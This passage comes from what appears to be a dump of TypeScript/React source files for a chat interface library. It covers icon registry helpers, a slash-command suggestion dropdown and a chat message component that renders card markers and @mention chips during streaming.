return PASCAL_TO_KEBAB_ALIASES[key] ?? key;\n}\n\n/**\n * Resolve an `icon_name` to its React component. Accepts both PascalCase\n * and kebab-case keys (normalizes PascalCase first). Unknown / null /\n * undefined names fall back to `FileText` — chips always render with\n * SOMETHING rather than a missing glyph. The fallback is intentional:\n * a typo in a new admin-authored row shouldn't crash render.\n */\nexport function getIconComponent(\n  iconName: string | null | undefined,\n): ComponentType<{ className?: string; color?: string }> {\n  if (!iconName) return FileText;\n  return ICON_REGISTRY[normalizeIconKey(iconName)] ?? FileText;\n}\n\n// ---------------------------------------------------------------------------\n// Sized-icon rendering helper (migrated from `src/utils/dynamic-icons.tsx`)\n// ---------------------------------------------------------------------------\n\nexport type DynamicIconSize = 'xs' | 'sm' | 'md' | 'lg' | 'xl';\n\nconst SIZE_CLASSES: Record<DynamicIconSize, string> = {\n  xs: 'w-3 h-3', // 12px\n  sm: 'w-4 h-4', // 16px\n  md: 'w-6 h-6', // 24px\n  lg: 'w-8 h-8', // 32px\n  xl: 'w-12 h-12', // 48px\n};\n\n/**\n * Optional per-icon color overrides. Keys are kebab-case (canonical\n * registry form) — pass any incoming key through `normalizeIconKey()`\n * before lookup.\n */\nconst ICON_COLORS: Record<string, { color?: string; fill?: string }> = {\n  linkedin: { color: '#0A66C2' },\n  facebook: { color: '#1877F2' },\n  youtube: { color: '#FF0000' },\n};\n\n/**\n * Render an icon by name with a size preset + optional className.\n * Replaces the old `src/utils/dynamic-icons.tsx#getDynamicIcon`. Accepts\n * both PascalCase and kebab-case keys (via `normalizeIconKey()`).\n */\nexport function getDynamicIcon(\n  iconName: string | undefined | null,\n  size: DynamicIconSize = 'md',\n  className?: string,\n): ReactNode {\n  if (!iconName) {\n    console.warn('[getDynamicIcon] No iconName provided, using Globe fallback');\n    return createElement(Globe, { className: SIZE_CLASSES[size] });\n  }\n\n  const sizeClass = SIZE_CLASSES[size];\n  const finalClassName = className ? `${sizeClass} ${className}` : sizeClass;\n\n  const canonicalKey = normalizeIconKey(iconName);\n  const IconComponent = ICON_REGISTRY[canonicalKey];\n\n  if (IconComponent) {\n    const colorConfig = ICON_COLORS[canonicalKey] || {};\n    return createElement(IconComponent, { className: finalClassName, ...colorConfig });\n  }\n\n  console.error(\n    `[getDynamicIcon] Icon NOT found in registry: \"${iconName}\" (normalized to \"${canonicalKey}\"). Available icons:`,\n    Object.keys(ICON_REGISTRY),\n  );\n  return createElement(Globe, { className: finalClassName });\n}\n","'use client';\n\nimport type { KeyboardEvent, MouseEvent } from 'react';\nimport { cn } from '../../utils/cn';\nimport { MingoOnboardingCard } from './mingo-onboarding-card';\nimport type { SlashCommandActionId, SlashCommandSourceMeta, SlashCommandSummary } from './types';\nimport { resolveIcon } from './utils/icon-library';\n\ninterface SlashCommandSuggestionsProps {\n  /** Filtered command list to render. Empty list → component renders null. */\n  commands: SlashCommandSummary[];\n  /** Index of the currently-highlighted suggestion (keyboard cursor or hover). */\n  highlightedIdx: number;\n  /** Hover callback so keyboard + mouse stay in sync. */\n  onHover: (idx: number) => void;\n  /** Click / Enter callback — the row's \"default\" action (clicking\n   *  anywhere on the row body, NOT one of the explicit action buttons).\n   *  The host typically maps this to \"Search-mode pre-fill\" (setValue\n   *  `/<cmd> ` with cursor at end). */\n  onSelect: (cmd: SlashCommandSummary) => void;\n  /** Legacy `primarySourceId` → icon resolver. Used as a FALLBACK only\n   *  when `cmd.iconName` is missing. Newer command summaries carry\n   *  `iconName` directly and route through `resolveIcon` so\n   *  the dropdown row uses the same icon registry as the empty-state\n   *  onboarding cards. */\n  resolveSourceIcon?: (sourceId: string) => SlashCommandSourceMeta | undefined;\n  /** Generic action handler — fires when the user clicks any of the\n   *  command's action buttons. The action's id discriminates the\n   *  dispatch behavior (browse / search / find / …); the host owns\n   *  the mapping. When undefined, NO action buttons render. */\n  onAction?: (cmd: SlashCommandSummary, actionId: SlashCommandActionId) => void;\n  /** Optional className override for positioning (e.g. `absolute bottom-full`). */\n  className?: string;\n}\n\n/**\n * Slash-command autocomplete dropdown.\n *\n * Visually mirrors the empty-state onboarding list: each row is rendered\n * via `MingoOnboardingCard` (Figma node `7363:205939`) so the dropdown\n * and the empty-state share one card design. Rows are stacked inside a\n * `rounded-md` container whose `overflow-hidden` clips each card's\n * `border-b` divider into a clean 1-px frame.\n *\n * Icon resolution priority:\n *   1. `cmd.iconName` → `resolveIcon` (production path —\n *      matches the keys returned by `/api/docs/commands`).\n *   2. `cmd.primarySourceId` → consumer-provided `resolveSourceIcon`\n *      (legacy fallback for command feeds without `iconName`).\n *   3. `FileIcon` (default inside `resolveIcon`).\n *\n * Clicking the row body fires `onSelect` (the host typically maps this\n * to Search-mode pre-fill so the user can refine). Clicking an action\n * button fires `onAction(cmd, actionId)` — the card's action buttons\n * already `stopPropagation` so the row click doesn't double-fire.\n *\n * Accessibility: the outer container is `role=\"menu\"`; each row is\n * `role=\"menuitem\"` with `aria-current` for the highlighted row. The\n * menu (not listbox) is used because ARIA 1.2 forbids interactive\n * descendants inside `role=\"option\"`, and our rows host inline action\n * buttons.\n */\nexport function SlashCommandSuggestions({\n  commands,\n  highlightedIdx,\n  onHover,\n  onSelect,\n  resolveSourceIcon,\n  onAction,\n  className,\n}: SlashCommandSuggestionsProps) {\n  if (commands.length === 0) return null;\n  return (\n    <div\n      role=\"menu\"\n      aria-label=\"Slash command suggestions\"\n      className={cn(\n        'absolute bottom-full left-0 right-0 z-50 mb-2 max-h-96 overflow-y-auto overscroll-contain',\n        'rounded-md border border-ods-border bg-ods-card shadow-lg',\n        className,\n      )}\n    >\n      {commands.map((cmd, idx) => {\n        const Icon = resolveIcon(cmd.iconName);\n        // Legacy resolver runs ONLY when `iconName` is missing — otherwise\n        // the v2 registry above is authoritative.\n        const legacyMeta =\n          !cmd.iconName && cmd.primarySourceId && resolveSourceIcon\n            ? resolveSourceIcon(cmd.primarySourceId)\n            : undefined;\n        const LegacyIcon = legacyMeta?.Icon;\n        // Display label priority — single source of truth, same field\n        // that drives the empty-state chip title so the dropdown row\n        // and the chip never drift:\n        //   1. `cmd.label` — DB-projected per-command label.\n        //   2. `legacyMeta.label` — legacy resolver fallback.\n        //   3. `cmd.id` — raw slug, last-resort identifier.\n        const title = cmd.label ?? legacyMeta?.label ?? cmd.id;\n        const isHighlighted = idx === highlightedIdx;\n        // `/cmd [arg-hint]` rendered in the slashCommand slot so the\n        // card's existing right-rail typography (h6 / secondary text)\n        // applies uniformly to both segments.\n        const slashLabel = cmd.argumentHint ? `/${cmd.id} ${cmd.argumentHint}` : `/${cmd.id}`;\n        const cardActions =\n          onAction && cmd.actions.length > 0\n            ? cmd.actions.map(action => ({\n                id: action.id,\n                label: action.label,\n                onClick: (e: MouseEvent<HTMLButtonElement>) => {\n                  e.stopPropagation();\n                  onAction(cmd, action.id);\n                },\n              }))\n            : undefined;\n        return (\n          <div\n            key={cmd.id}\n            role=\"menuitem\"\n            aria-current={isHighlighted ? 'true' : undefined}\n            tabIndex={-1}\n            onMouseEnter={() => onHover(idx)}\n            onClick={() => onSelect(cmd)}\n            onKeyDown={(e: KeyboardEvent<HTMLDivElement>) => {\n              // Enter/Space activate; arrow keys are owned by the\n              // parent input (which manages `highlightedIdx`).\n              if (e.key === 'Enter' || e.key === ' ') {\n                e.preventDefault();\n                onSelect(cmd);\n              }\n            }}\n            className=\"cursor-pointer outline-none\"\n          >\n            <MingoOnboardingCard\n              icon={LegacyIcon ? <LegacyIcon className=\"size-4\" /> : <Icon size={16} />}\n              title={title}\n              slashCommand={slashLabel}\n              description={cmd.description}\n              actions={cardActions}\n              className={cn('transition-colors', isHighlighted && 'bg-ods-bg-hover')}\n            />\n          </div>\n        );\n      })}\n    </div>\n  );\n}\n","'use client';\n\nimport React, { forwardRef, memo, useEffect, useMemo, useRef } from 'react';\nimport { createCardMarkerScanner } from '../../chat-protocol/card-marker';\nimport { cn } from '../../utils/cn';\nimport { isToday } from '../../utils/date-utils';\nimport { formatDate, formatTime } from '../../utils/format-date';\nimport type { MdRenderProps } from '../ui/markdown/base-components';\nimport { SimpleMarkdownRenderer } from '../ui/markdown/simple-markdown-renderer';\nimport { SquareAvatar } from '../ui/square-avatar';\nimport { ApprovalBatchMessage } from './approval-batch-message';\nimport { ApprovalRequestMessage } from './approval-request-message';\nimport { AskDisplay } from './ask-display';\nimport { ChatContextChipStrip } from './chat-context-picker';\nimport type { ChatRef } from './chat-ref.types';\nimport { ContextCompactionDisplay } from './context-compaction-display';\nimport { BlockCard, type BlockCardProps } from './entity-cards/block-card';\nimport { ErrorMessageDisplay } from './error-message-display';\nimport { EscalationOfferMessage } from './escalation-offer-message';\nimport { remarkCardLinks } from './remark-card-links';\nimport { remarkMentionChips } from './remark-mention-chips';\nimport { remarkStripCitations } from './remark-strip-citations';\nimport { ThinkingDisplay } from './thinking-display';\nimport { TicketEscalatedMessage } from './ticket-escalated-message';\nimport { TicketEventMessage } from './ticket-event-message';\nimport { ToolExecutionDisplay } from './tool-execution-display';\nimport type { AskSegment, MessageSegment, MessageContent, ChatMessageEnhancedProps } from './types';\n\n/** Inline `@marker:id` mention token in the message body (sibling of the\n *  `[card://]` grammar) — used to filter out items rendered inline from the\n *  chip strip below. MUST mirror the left-boundary `(^|\\s)` of `MENTION_REGEX`\n *  in `remark-mention-chips.ts`: without it this regex is WIDER than the plugin\n *  (e.g. it matches `x@device:1` mid-word, which the plugin skips), so a context\n *  item would be stripped from the chip strip yet never rendered inline — lost\n *  from display entirely. The id is capture group 2 (group 1 is the boundary).\n *  Marker `[a-zA-Z]+` (markers are mostly lowercase but not all — e.g.\n *  `scheduledScript`); id is the mention-token charset. */\nconst MENTION_MARKER_REGEX = /(^|[^\\w@])@[a-zA-Z]+:([A-Za-z0-9_.+/=-]*[A-Za-z0-9_+/=])/g;\n\n/** Scanner for `[card://type:id]` in answer text. Built from the shared\n *  grammar so the body renderer and the metadata decoder cannot disagree on\n *  what a marker is — see `chat-protocol/card-marker.ts`. */\nconst CARD_MARKER_REGEX = createCardMarkerScanner();\n\n/** Timestamp label: today's messages show time only (\"2:47 PM\"),\n *  older messages prepend a locale-formatted date (\"05/05/2026 2:47 PM\"\n *  in en-US, \"05.05.2026 14:47\" in european locales). */\nfunction formatMessageTimestamp(timestamp: Date): string {\n  const time = formatTime(timestamp);\n  return isToday(timestamp) ? time : `${formatDate(timestamp)} ${time}`;\n}\n\nfunction normalizeContent(content: MessageContent): MessageSegment[] {\n  if (typeof content === 'string') {\n    return content ? [{ type: 'text', text: content }] : [];\n  }\n  return content;\n}\n\n/**\n * A RUN of consecutive `ask` segments is one paged card, not a stack of\n * near-identical ones. Returns the run keyed by the index of its FIRST segment;\n * the render draws the card there and skips every later index of the same run\n * (an `ask` index missing from this map is a tail member).\n */\nfunction groupAskRuns(segments: MessageSegment[]): Map<number, AskSegment[]> {\n  const runs = new Map<number, AskSegment[]>();\n  let headIndex = -1;\n  segments.forEach((segment, index) => {\n    if (segment.type !== 'ask') {\n      headIndex = -1;\n      return;\n    }\n    if (headIndex === -1) {\n      headIndex = index;\n      runs.set(index, [segment]);\n      return;\n    }\n    runs.get(headIndex)?.push(segment);\n  });\n  return runs;\n}\n\nconst ChatMessageEnhanced = forwardRef<HTMLDivElement, ChatMessageEnhancedProps>(\n  (\n    {\n      className,\n      role,\n      content,\n      name,\n      avatar,\n      isTyping = false,\n      timestamp,\n      showAvatar = true,\n      assistantType,\n      approvalVariant,\n      authorType: authorTypeProp,\n      assistantIcon,\n      contextItems,\n      resolveContextIcon,\n      renderContextItem,\n      renderMention,\n      renderEntityCard,\n      refs,\n      onAskSelect,\n      NavLinkAnchor,\n      ...props\n    },\n    ref,\n  ) => {\n    const isUser = role === 'user';\n    const isError = role === 'error';\n    const authorType = authorTypeProp ?? (isUser ? 'user' : assistantType === 'mingo' ? 'mingo' : 'fae');\n\n    // Inline-card rendering uses a HOST-PROVIDED `renderEntityCard` function\n    // (v6.1 §B.2.7 — DRY duplications #2). The OSS-lib stays data-agnostic:\n    // it doesn't know about entity types, slash commands, or app routing.\n    // The host (multi-platform-hub) returns whatever JSX it wants for each\n    // marker's descriptor — typically a self-fetching card that hydrates by\n    // id from the host's per-object APIs.\n    //\n    // The remark plugin runs whenever the host opts in with\n    // `renderEntityCard`, so we always strip raw markers from rendered text\n    // (Logic MED-4). When the host's `renderEntityCard` is unset OR returns\n    // null, the override falls back to the bare cardId. Never renders the\n    // literal `[card://...]` URL.\n    const hasMarkerSupport = !!renderEntityCard;\n\n    const segments = useMemo(() => normalizeContent(content), [content]);\n\n    const askRuns = useMemo(() => groupAskRuns(segments), [segments]);\n\n    // Inline `@marker:id` mentions: the composer commits these tokens when the\n    // user picks context via the `@`-flow, and the ASSISTANT routinely echoes\n    // the same `@device:machineId` token back in its reply. The lib detects the\n    // token and delegates rendering to the host's `renderMention` (mirror of\n    // `renderEntityCard`): the host returns a SELF-FETCHING chip per entity\n    // type. Enabled whenever the host opts in by supplying `renderMention`.\n    const hasMentionSupport = !!renderMention;\n\n    // Ids that appear as `@marker:id` in the body → rendered inline, so they are\n    // excluded from the chip strip below (no duplicate inline + strip).\n    const inlineMentionIds = useMemo(() => {\n      const ids = new Set<string>();\n      if (!hasMentionSupport) return ids;\n      for (const seg of segments) {\n        if (seg.type !== 'text' || !seg.text || !seg.text.includes('@')) continue;\n        for (const mm of seg.text.matchAll(MENTION_MARKER_REGEX)) ids.add(mm[2]);\n      }\n      return ids;\n    }, [hasMentionSupport, segments]);\n\n    // Chip strip = only context NOT already shown inline (e.g. `+`-added items).\n    const stripContextItems = useMemo(\n      () =>\n        inlineMentionIds.size > 0 && contextItems\n          ? contextItems.filter(it => !inlineMentionIds.has(it.id))\n          : contextItems,\n      [contextItems, inlineMentionIds],\n    );\n\n    // Markdown plugins per message: card markers (assistant) + mention tokens\n    // (user). Each is gated independently so neither fires without its data.\n    const cardRemarkPlugins = useMemo(\n      () => [\n        ...(hasMarkerSupport ? [remarkCardLinks, remarkStripCitations] : []),\n        ...(hasMentionSupport ? [remarkMentionChips] : []),\n      ],\n      [hasMarkerSupport, hasMentionSupport],\n    );\n\n    // Cross-render cache of rendered inline-card nodes, keyed by `type:id`.\n    // A fetch-mode card lives inside the assistant message, which re-renders on\n    // every stream chunk (and the whole list re-renders when a new message\n    // arrives). `renderEntityCard` produces a FRESH element each time, so React\n    // re-mounts the card — closing any open menu/popover and re-triggering its\n    // fetch. Caching the produced node by key and returning the SAME element\n    // reference lets React bail out of re-rendering that subtree, so the card\n    // (and its open menu) survives across chunks. Invalidated per key when the\n    // render fn identity changes.\n    const renderedCardNodeCache = useRef(\n      new Map<\n        string,\n        {\n          render: ((ref: ChatRef) => React.ReactNode) | undefined;\n          /** The descriptor the node was built from. Part of the cache identity\n           *  because metadata can arrive AFTER the marker was first rendered —\n           *  a card mounted from the bare `{type, id}` descriptor has to be\n           *  rebuilt once its real title and URL land. */\n          ref: ChatRef | undefined;\n          node: React.ReactNode;\n        }\n      >(),\n    );\n\n    /** The answer's own references, by `type:id`. What turns a bare marker into\n     *  a card with a title and a link, without a per-entity lookup the host may\n     *  not even have an API for. */\n    const refByKey = useMemo(() => {\n      const byKey = new Map<string, ChatRef>();\n      for (const described of refs ?? []) byKey.set(`${described.type}:${described.id}`, described);\n      return byKey;\n    }, [refs]);\n\n    /**\n     * Per-message rendering plan for `[card://type:id]` markers.\n     *\n     * Block-bearing markers SPLIT their containing text segment so the\n     * block payload (e.g. video player) renders AT THE MARKER POSITION\n     * in the text flow — not at the end of the segment, which causes\n     * the block to \"appear high and drift down\" while text streams in.\n     *\n     * Per-segment output is an array of parts:\n     *   - `{ kind: 'text' }` — substring of the segment text, rendered\n     *                         through `<SimpleMarkdownRenderer>`. Ends\n     *                         with the block marker so the inline pill\n     *                         lands at the right spot via the `<a>`\n     *                         override.\n     *   - `{ kind: 'block' }` — block payload, rendered as a sibling\n     *                         BELOW the preceding text chunk and above\n     *                         the next one.\n     *\n     * Inline-only markers (no `<BlockCard>` wrapper) do NOT split the\n     * segment; they're handled by the override at marker position via\n     * the shared `inlineByKey` map.\n     *\n     * Streaming behaviour: as a marker becomes complete in the streamed\n     * text, the regex matches, the segment splits at that point, and\n     * the block card lands right after the inline pill. Subsequent\n     * tokens render in the trailing chunk — block stays in position.\n     */\n    const renderingPlan = useMemo(() => {\n      if (!hasMarkerSupport) return null;\n      const render = renderEntityCard;\n      const inlineByKey = new Map<string, React.ReactNode>();\n      type SegmentPart = { kind: 'text'; text: string } | { kind: 'block'; key: string; node: React.ReactNode };\n      const partsBySegment = new Map<number, SegmentPart[]>();\n      const usedKeys = new Set<string>();\n      if (!render) return { inlineByKey, partsBySegment, usedKeys };\n      const cache = renderedCardNodeCache.current;\n      // Card keys already emitted as a hoisted block (`b-<key>`). The same\n      // marker can legitimately appear twice in one message (LLM references\n      // the same entity twice); we hoist the FIRST occurrence and skip the\n      // duplicates so two siblings never collide on the same React key.\n      const emittedBlockKeys = new Set<string>();\n      segments.forEach((segment, segIdx) => {\n        if (segment.type !== 'text') return;\n        const text = segment.text;\n        const parts: SegmentPart[] = [];\n        let cursor = 0;\n        CARD_MARKER_REGEX.lastIndex = 0;\n        let match: RegExpExecArray | null;\n        while ((match = CARD_MARKER_REGEX.exec(text)) !== null) {\n          const cardType = match[1];\n          const cardId = match[2];\n          const key = `${cardType}:${cardId}`;\n          usedKeys.add(key);\n          // Reuse the cached node when the render fn didn't change —\n          // returning the SAME element reference across renders is what\n          // stops React from re-mounting the card (and closing its open\n          // menu / re-fetching) on every stream chunk. Also dedups the same\n          // key emitted twice within one message.\n          // The answer's metadata wins when it described this reference: it\n          // carries the title, URL and source the wire marker cannot.\n          const describedRef = refByKey.get(key);\n          let entry = cache.get(key);\n          if (!entry || entry.render !== render || entry.ref !== describedRef) {\n            // The marker is the ONLY data on the wire: cards hydrate by id\n            // from the host's per-object APIs, so a minimal {type, id}\n            // descriptor is all the renderer needs to mount the loader.\n            // For types with nothing to fetch the host's render() returns\n            // null and we fall through to the bare-cardId fallback in the\n            // `<a card://…>` override below.\n            //\n            // DESCRIPTOR DEFAULTS: `ChatRef.title` and `ChatRef.url` are\n            // non-optional in the type; a bare `{type, id}` cast would lie\n            // to consumers that read those fields. Default `title` to the\n            // cardId (so any host renderer that prints `ref.title` shows\n            // the id rather than `undefined`) and `url` to null (matches\n            // the no-link semantics fetch-mode cards rely on — they\n            // resolve their own URL after fetch).\n            const refForRender: ChatRef = describedRef ?? {\n              type: cardType,\n              id: cardId,\n              title: cardId,\n              url: null,\n            };\n            entry = { render, ref: describedRef, node: render(refForRender) };\n            cache.set(key, entry);\n          }\n          const rendered = entry.node;\n          if (React.isValidElement(rendered) && rendered.type === BlockCard) {\n            const cardProps = rendered.props as BlockCardProps;\n            const markerEnd = match.index + match[0].length;\n            // Text chunk INCLUDING the marker — the inline pill renders\n            // at the marker position via the `<a>` override.\n            parts.push({ kind: 'text', text: text.slice(cursor, markerEnd) });\n            // Hoist the block payload only on the FIRST occurrence of this key\n            // — a repeated marker still gets its inline pill (text + override\n            // above) but must not push a second `b-<key>` sibling.\n            if (!emittedBlockKeys.has(key)) {\n              emittedBlockKeys.add(key);\n              parts.push({ kind: 'block', key, node: cardProps.children });\n            }\n            cursor = markerEnd;\n            inlineByKey.set(\n              key,\n              cardProps.inline != null ? (\n                cardProps.inline\n              ) : (\n                <span className=\"font-medium text-ods-text-primary\">{cardId}</span>\n              ),\n            );\n          } else if (rendered != null) {\n            // Hoist fetch-mode entity cards (roadmap/blog/case-study/release/…)\n            // OUT of the markdown as stable-keyed block siblings — exactly like\n            // BlockCard. Rendered INSIDE `<SimpleMarkdownRenderer>` they remount\n            // on every streaming re-parse (react-markdown rebuilds its subtree\n            // token-by-token), which closes any open menu/popover and re-fires\n            // the card's fetch. As a sibling keyed by the card key (`b-<key>`)\n            // the card survives streaming: appending more text/markers only adds\n            // NEW siblings, existing cards keep their React instance.\n            //\n            // We EXCLUDE the marker from the surrounding text (cursor jumps past\n            // it) so no inline pill renders — the full card IS the content.\n            // Hoist only the FIRST occurrence; a duplicate marker is dropped\n            // entirely (no inline pill for hoisted cards) so we never push a\n            // second sibling colliding on the same `b-<key>` React key.\n            parts.push({ kind: 'text', text: text.slice(cursor, match.index) });\n            if (!emittedBlockKeys.has(key)) {\n              emittedBlockKeys.add(key);\n              parts.push({ kind: 'block', key, node: rendered });\n            }\n            cursor = match.index + match[0].length;\n          }\n        }\n        // Trailing text after the last block marker (or the entire\n        // segment when no block markers fired).\n        if (cursor < text.length) {\n          parts.push({ kind: 'text', text: text.slice(cursor) });\n        }\n        // Only register the split plan when at least one block marker\n        // fired — otherwise the segment renders as one SimpleMarkdown-\n        // Renderer call (existing behaviour preserved for the\n        // overwhelming majority of segments that have no block cards).\n        if (parts.some(p => p.kind === 'block')) {\n          partsBySegment.set(segIdx, parts);\n        }\n      });\n      return { inlineByKey, partsBySegment, usedKeys };\n    }, [hasMarkerSupport, renderEntityCard, refByKey, segments]);\n\n    // Drop cached nodes for markers no longer present so the cache can't grow\n    // unbounded as a long message's markers change. Deliberately an EFFECT,\n    // not part of the memo above: pruning is a mutation, and doing it in the\n    // render phase is non-idempotent (StrictMode's double-invoke, or a render\n    // React throws away, would evict nodes the committed tree still uses and\n    // remount the cards it was built to preserve).\n    useEffect(() => {\n      const cache = renderedCardNodeCache.current;\n      const usedKeys = renderingPlan?.usedKeys;\n      if (!usedKeys) return;\n      if (cache.size <= usedKeys.size) return;\n      for (const k of [...cache.keys()]) {\n        if (!usedKeys.has(k)) cache.delete(k);\n      }\n    }, [renderingPlan]);\n\n    // The plan is read through a REF inside the `<a>` override, not captured\n    // in the override's closure. `renderingPlan` is rebuilt on every text\n    // delta (its `segments` dep is a fresh array per delta), so depending on\n    // it here would give `cardComponentOverrides` a new identity every token\n    // — which re-creates the markdown engine's `components` memo and defeats\n    // its per-block `StreamingBlockRenderer` memoization for the WHOLE\n    // message, on every token. The ref keeps the override identity stable\n    // while still reading the current plan at call time.\n    const renderingPlanRef = useRef(renderingPlan);\n    renderingPlanRef.current = renderingPlan;\n\n    const cardComponentOverrides = useMemo(() => {\n      if (!hasMarkerSupport && !hasMentionSupport) return undefined;\n      return {\n        // Override `<a>` to detect `card://` URLs emitted by `remarkCardLinks`.\n        // The render result was pre-computed in `renderingPlan` so block-level\n        // payloads (e.g. video player cards) can be hoisted out of the\n        // paragraph as siblings — the inline pill stays at the marker\n        // position. Other href schemes pass through unchanged.\n        a: ({ href, children, className: linkClassName, ...rest }: MdRenderProps<'a'>) => {\n          // Inline entity mention `@marker:id`, emitted as a `mention://marker:id`\n          // link by `remarkMentionChips`. Delegate to the host's `renderMention`\n          // (mirror of the `card://` → `renderEntityCard` path): the host returns\n          // a self-fetching chip for that entity type. Null/unknown → raw token.\n          if (typeof href === 'string' && href.startsWith('mention://')) {\n            const stripped = href.slice('mention://'.length);\n            const sepIdx = stripped.indexOf(':');\n            const marker = sepIdx === -1 ? stripped : stripped.slice(0, sepIdx);\n            const id = sepIdx === -1 ? '' : stripped.slice(sepIdx + 1);\n            const node = renderMention?.({ marker, id });\n            if (node != null) return <>{node}</>;\n            return <span className=\"text-ods-text-secondary opacity-60\">{children}</span>;\n          }\n          if (typeof href === 'string' && href.startsWith('card://')) {\n            const stripped = href.slice('card://'.length);\n            const sepIdx = stripped.lastIndexOf(':');\n            if (sepIdx !== -1) {\n              const cardType = stripped.slice(0, sepIdx);\n              const cardId = stripped.slice(sepIdx + 1);\n              const key = `${cardType}:${cardId}`;\n              const inline = renderingPlanRef.current?.inlineByKey.get(key);\n              if (inline != null) return inline;\n              // No rendered card for this marker (the host's renderer\n              // returned null — no card type registered for `cardType`, or\n              // the id resolved to nothing). Render the raw `cardId` as a\n              // dim span so the marker never LOOKS like a real card: a\n              // hallucinated id must stay visibly broken, never dressed up\n              // with borrowed data.\n              return <span className=\"text-ods-text-secondary opacity-60\">{cardId}</span>;\n            }\n          }\n          // Unified click rule — delegated to the host's `NavLinkAnchor`\n          // component. The host wraps its own `useNavLink` hook so EVERY\n          // clickable surface (source chips, inline cards, search rows,\n          // action cards, chat-markdown links) shares the same routing\n          // decision: modifier-clicks pass through, cross-origin → new\n          // tab, in-page doc-tree path → soft swap, same-origin → soft\n          // RSC nav. Single mental model across the app, single source\n          // of truth in the hub.\n          //\n          // Anchor-only links (`#section`) bypass NavLinkAnchor — the\n          // host's router would treat them as navigation, but the user\n          // wants the browser's native scroll-to-anchor behavior.\n          //\n          // When the host has NOT supplied `NavLinkAnchor` (e.g. the\n          // flamingo hero-demo with mock content), fall back to a plain\n          // `<a href>`. No cross-origin sniffing here — the OSS-lib does\n          // not own routing decisions; the host does.\n          if (typeof href === 'string' && NavLinkAnchor && !href.startsWith('#')) {\n            return (\n              <NavLinkAnchor href={href} className={linkClassName} {...rest}>\n                {children}\n              </NavLinkAnchor>\n            );\n          }\n          return (\n            <a href={href} className={linkClassName} {...rest}>\n              {children}\n            </a>\n          );\n        },\n      };\n      // DEPS ARE DELIBERATELY MINIMAL — every one of them is stable across a\n      // streaming turn (booleans + host-stable fn/component identities, both\n      // enforced by this file's `memo` comparator). The rendering plan is\n      // read through a ref above precisely so it does NOT appear here.\n    }, [hasMarkerSupport, hasMentionSupport, renderMention, NavLinkAnchor]);\n\n    /**\n     * Body of a markdown-bearing segment (`text` / `guide`).\n     *\n     * No block markers in this segment → a single SimpleMarkdownRenderer call\n     * (the vast majority of messages). Otherwise the text is split at each\n     * marker and block payloads are interleaved: each text chunk includes its\n     * trailing marker so the inline pill renders at the right position via the\n     * `<a>` override, and block payloads land AS SIBLINGS between text chunks —\n     * HTML-valid (block DOM never nests inside `<p>`) AND positionally correct\n     * (the block appears where the marker is in the flow, not at the segment's\n     * end). Stable React keys come from the card key (block) and chunk position\n     * (text); streaming token-by-token reuses the same React instances so\n     * `<Video>` doesn't remount mid-play.\n     *\n     * `isStreaming` opts the segment into the markdown engine's streaming path\n     * (atomic-block memoization + fence tail-completion + aria-live). Only the\n     * actively streaming segment gets it, and within a marker-split segment\n     * only the LAST text chunk — the earlier chunks are already final.\n     */\n    const renderSegmentBody = (segIndex: number, text: string, isStreaming: boolean) => {\n      const parts = renderingPlan?.partsBySegment.get(segIndex);\n      if (!parts || parts.length === 0) {\n        return (\n          <SimpleMarkdownRenderer\n            content={text}\n            textSize=\"compact\"\n            additionalRemarkPlugins={cardRemarkPlugins}\n            componentOverrides={cardComponentOverrides}\n            streaming={isStreaming}\n          />\n        );\n      }\n      return parts.map((part, pIdx) => {\n        if (part.kind === 'text') {\n          return (\n            <SimpleMarkdownRenderer\n              key={`t-${pIdx}`}\n              content={part.text}\n              textSize=\"compact\"\n              additionalRemarkPlugins={cardRemarkPlugins}\n              componentOverrides={cardComponentOverrides}\n              streaming={isStreaming && pIdx === parts.length - 1}\n            />\n          );\n        }\n        return (\n          <div key={`b-${part.key}`} className=\"my-3\">\n            {part.node}\n          </div>\n        );\n      });\n    };\n\n    const getAvatarProps = () => {\n      const displayName = name || (isUser ? 'User' : assistantType === 'mingo' ? 'Mingo' : 'Fae');\n      const isMingo = assistantType === 'mingo';\n\n      return {\n        src: avatar || undefined,\n        alt: `${displayName} avatar`,\n        // Pass the FULL name — SquareAvatar derives first+last initials itself\n        // (passing pre-joined initials like \"PS\" would collapse to one letter,\n        // since getFirstLastInitials treats it as a single word).\n        fallback: displayName,\n        size: 'sm' as const,\n        variant: 'round' as const,\n        // User avatar: compact 20×20 with 2px padding and a subtle gray fill\n        // (`bg-ods-card`) so the `border-ods-border` ring stays visible — the\n        // brand fill reads poorly for a user. Assistant/Fae keep their brand\n        // fill. Initials are smaller + muted gray for the user placeholder.\n        ...(isUser ? { initialsClassName: 'text-[9px] text-ods-text-secondary' } : {}),\n        className: cn(\n          'flex-shrink-0',\n          isUser ? 'h-5 w-5 bg-ods-card p-0.5' : isMingo ? 'bg-ods-flamingo-cyan' : 'bg-ods-flamingo-pink',\n        ),\n      };\n    };\n\n    const avatarProps = getAvatarProps();\n\n    const isSystem = authorType === 'system';\n\n    return (\n      <div ref={ref} className={cn('relative py-[var(--spacing-system-s)]', className)} {...props}>\n        {/* Message Content — full panel width.\n            Avatar is INLINE in the name row below (2025-2026 chat\n            pattern — Claude.ai, ChatGPT, Gemini, Perplexity).\n            Legacy hanging-avatar layout (`absolute -left-16`) wasted\n            64px of gutter and clipped in narrow panels. */}\n        <div className=\"flex min-w-0 flex-col gap-[var(--spacing-system-xxs)]\">\n          {/* Avatar + Name + Timestamp Row.\n              Sizing rationale (per design-token measurements):\n                - Name uses `text-h3` = 14px mobile / 18px desktop.\n                - Avatar uses `SquareAvatar size=\"sm\"` = 32px — the\n                  canonical primitive at the smallest preset, giving a\n                  ~1.78x ratio against the 18px name text (Material\n                  Design 3 + Apple HIG inline-avatar standard).\n                - Gap is `var(--spacing-system-xs)` = 8px, the standard\n                  inline-component separator across this design system.\n              For the `assistantIcon` branch (host supplies a JSX icon\n              like the Mingo logo), the wrapper matches `SquareAvatar\n              size=\"sm\"` (h-8 w-8 = 32px) so BOTH branches present at\n              the same visual weight. Host-supplied icons render\n              inside via `flex items-center justify-center` — they\n              should be sized at ~50-60% of the wrapper (h-4 w-4 =\n              16px works well for a 32px circle). */}\n          <div className=\"flex items-center gap-[var(--spacing-system-xs)]\">\n            {/* Avatar rules:\n                - Assistant/Fae always show an avatar — host brand icon when no\n                  image is supplied, else the filled SquareAvatar.\n                - User shows the SquareAvatar ONLY when an avatar image actually\n                  arrived. With no user avatar we hide the block entirely (just\n                  the name), instead of an initials placeholder. TEMPORARY —\n                  restore the user placeholder when user avatars ship. */}\n            {showAvatar &&\n              !isSystem &&\n              